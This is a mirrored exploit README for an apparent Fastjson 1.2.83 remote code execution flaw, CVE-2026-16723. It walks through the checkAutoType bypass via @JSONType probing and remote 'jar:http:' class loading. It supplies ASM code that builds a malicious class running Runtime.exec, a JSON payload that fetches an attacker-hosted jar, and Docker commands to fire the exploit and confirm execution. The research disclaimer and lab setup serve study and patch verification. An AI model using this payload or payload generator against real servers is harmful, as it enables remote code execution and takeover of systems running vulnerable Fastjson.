Sploitus

Exploit for CVE-2026-16723

githubexploit Β· 2026-08-05

Exploit Code

README188 lines
## https://sploitus.com/exploit?id=7E4B0702-42C0-5722-8769-A9442A9C4ADB
**Disclaimer:** This project is intended only for secure research and learning in authorized environments. Testing is prohibited on unauthorized systems, and the consequences of use are the responsibility of the user.

# Fastjson 1.2.83 Remote Code Execution Vulnerability Analysis (CVE-2026-16723)

**CVSS 9.0**, affecting Fastjson versions 1.2.68 to 1.2.83. No need to enable AutoType, no need for third-party gadgets; the vulnerability can be exploited with default configurations.

## I. Overview of the Vulnerability Mechanism

The entry point of the vulnerability is in `com.alibaba.fastjson.parser.ParserConfig.checkAutoType`. Whether it’s called `JSON.parse(body)` or `JSON.parseObject(body, Foo.class)`, the method will eventually be called. Key code snippet (Fastjson 1.2.83):

```java
public Class checkAutoType(String typeName, Class expectClass, int features) {

    // β‘  Blocklist/allowlist check – skipped when autoTypeSupport is false
    if (autoTypeSupport || expectClassFlag) { ... }

    // β‘‘ @JSONType annotation detection – executed regardless of conditions
    boolean jsonType = false;
    InputStream is = null;
    try {
        String resource = typeName.replace('.', '/') + ".class";
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);
            TypeCollector visitor = new TypeCollector("", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) { /* Silently ignored */ }
    finally { IOUtils.close(is); }

    // β‘’ Class loading
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    // β‘£ Short-circuit return – all subsequent checks are skipped when jsonType is true
    if (clazz != null) {
        if (jsonType) {
            return clazz;
        }
        // DenyList check, hardcoded interception, isAssignableFrom... }
    }
}

```

The AutoType switch (`autoTypeSupport`) only controls whether step β‘  is executed. However, step β‘‘ annotation detection is executed regardless of conditions. Once `jsonType` becomes `true`, steps β‘’ class loading and β‘£ security checks are skipped.

## II. Analysis of the Attack Path

### 2.1 `typeName β†’ resource`

```java
String resource = typeName.replace('.', '/') + ".class";
```

`typeName` is the value of `@type` in JSON. Attackers have full control over this. The intention is to convert `com.example.Foo` to `com/example/Foo.class`. But when the input is a URL, it becomes a URL constructor. Since the `.` in the hostname is also replaced, attackers can bypass this by using an integer IP address. For example, `127.0.0.1` as a 32-bit unsigned integer is `2130706433`:

```
Input: jar:http:2130706433:8000.probe!.EvilPayload
 ↓ replace('.', '/')
Output: jar:http:2130706433:8000/probe!
```

/EvilPayload.class  
`..` β†’ `//`, `.probe!` β†’ `/probe!/`, resulting in a valid resource location like β€œjar:http:”.  
### 2.2 getResourceAsStream  
```java  
is = defaultClassLoader.getResourceAsStream(resource);  
```  
Whether `getResourceAsStream` can parse β€œjar:http:β€œ as a remote resource depends entirely on the ClassLoader type:  
| ClassLoader | Behavior |  
| JDK `AppClassLoader` | Only searches the local classpath β†’ null |  
| Tomcat `WebappClassLoader` (independent WAR) | Only searches `WEB-INF/lib` β†’ null |  
| Spring Boot `LaunchedURLClassLoader` (fat-JAR) | Supports β€œjar:http:β€œ β†’ retrieves bytecode via HTTP |  
One confusing point is that when Spring Boot uses Tomcat, the ClassLoader for the application class is `LaunchedURLClassLoader`, **not** `WebappClassLoader`. Therefore, using Tomcat/Jetty/Undertow is also affected. When `is != null`, the attacker’s remote class bytecode enters the JVM memory. In this lab, we manually set the ClassLoader of the current thread to `LaunchedURLClassLoader` using `Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())`, allowing `getResourceAsStream` to handle β€œjar:http:β€œ protocols. In real environments, whether `LaunchedURLClassLoader` loads `ParserConfig` depends on the position of fastjson in the dependency tree, which explains why the same Spring Boot fat-JAR may have different impacts.  
### 2.3 ASM Probes  
```java  
ClassReader classReader = new ClassReader(is, true);  
TypeCollector visitor = new TypeCollector("", new Class[0]);  
classReader.accept(visitor);  
jsonType = visitor.hasJsonType();  
```  
Fastjson uses ASM to scan the bytecode and check if it contains the `@com.alibaba.fastjson.annotation.JSONType` annotation. The purpose is performance optimizationβ€”quickly identifying types managed by Fastjson through annotations. However, only an existence of the annotation is checked; the source of the bytecode isn’t verified, nor are class names or sources restricted. Any attacker’s remote class that includes `@JSONType` will receive a `jsonType=true` determination. Note that `catch (Exception e) {}` is emptyβ€”the attacker won’t receive any errors.  
> **πŸ“Œ To be added**: Screenshot after `visitor.hasJsonType()` returns the value of `jsonType`.  
### 2.4 loadClass  
```java  
if (autoTypeSupport || jsonType || expectClassFlag) {  
    boolean cacheClass = autoTypeSupport || jsonType;  
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);  
}  
```  
`jsonType=true` meets the condition. `loadClass` follows the standard class loading process, registering the bytecode as a JVM Class object via `defineClass`. It’s important to distinguish between two concepts: `defineClass` registers the class itself in the JVM, while the other operation happens during class initialization. Both processes may occur within the same request, but they are independent according to JVM specificationsβ€”you can’t simply say that `defineClass` executes the code directly.  
### 2.5 return clazz  
```java  
if (jsonType) {  
    return clazz;  
}  
```  
This line bypasses all subsequent defenses:  
- Hardcoded interceptions for `ClassLoader`, `DataSource`, `RowSet`  
- Blacklists like `denyList`  
- Type checks like `expectClass.isAssignableFrom(clazz)`  
This also explains why `parseObject(body, Dto.class)` doesn’t work: Type binding checks happen after class loading, while the attacker’s code is executed during class loading.

## III. Payload Construction

The attacker needs to generate a bytecode file that meets three conditions: it must contain the `@JSONType` annotation, contain attack code within it, and be hosted via HTTP. ```java
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
        "EvilPayload", null, "java/lang/Object", null);

// Pass through ASM probes
cw.visitAnnotation(
    "Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();

// Execute the command
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
        "", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
        "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
        "java/lang/Runtime", "exec",
        "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);

// Package the class
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
```

This implementation does not include any blacklisted classes, JNDI, or third-party dependencies. The malicious logic is purely triggered through the class loading mechanismβ€”the class is loaded and executed immediately. ---

## IV. Reproduction using Docker

### 4.1 Environment Architecture

Two containers communicate via Docker’s internal network:

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              labnet (bridge)                  β”‚
β”‚                                               β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”       β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚  fj-attacker  β”‚       β”‚    fj-target     β”‚ β”‚
β”‚  β”‚  Port 8000    β”‚       β”‚   Port 18080     β”‚ β”‚
β”‚  β”‚               β”‚       β”‚                  β”‚ β”‚
β”‚  β”‚  Gen.java     β”‚       β”‚ Fastjson 1.2.83  β”‚ β”‚
β”‚  β”‚  β†’ probe.jar  │◄──────│ Spring Boot 2.7  β”‚ β”‚
β”‚  β”‚  HTTP Server  β”‚       β”‚ JDK 8            β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜       β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### 4.2 Starting and Verifying

```bash
docker compose up -d --build

# Confirm the target’s status
curl http://127.0.0.1:18080/status

# Send the payload
python3 exploit.py

# Verify command execution
docker compose exec target ls -la /tmp/pwned

> **πŸ“Œ To be added**: A screenshot of `ls -la /tmp/pwned` showing that the command was successfully executed inside the target container. ```

### 4.3 JSON Payload

```json
{"@type": "jar:http://attacker:8000/probe.jar!/EvilPayload"}
```

[source-iocs-preserved url=http://2130706433:8000/probe!/EvilPayload.class,http://`]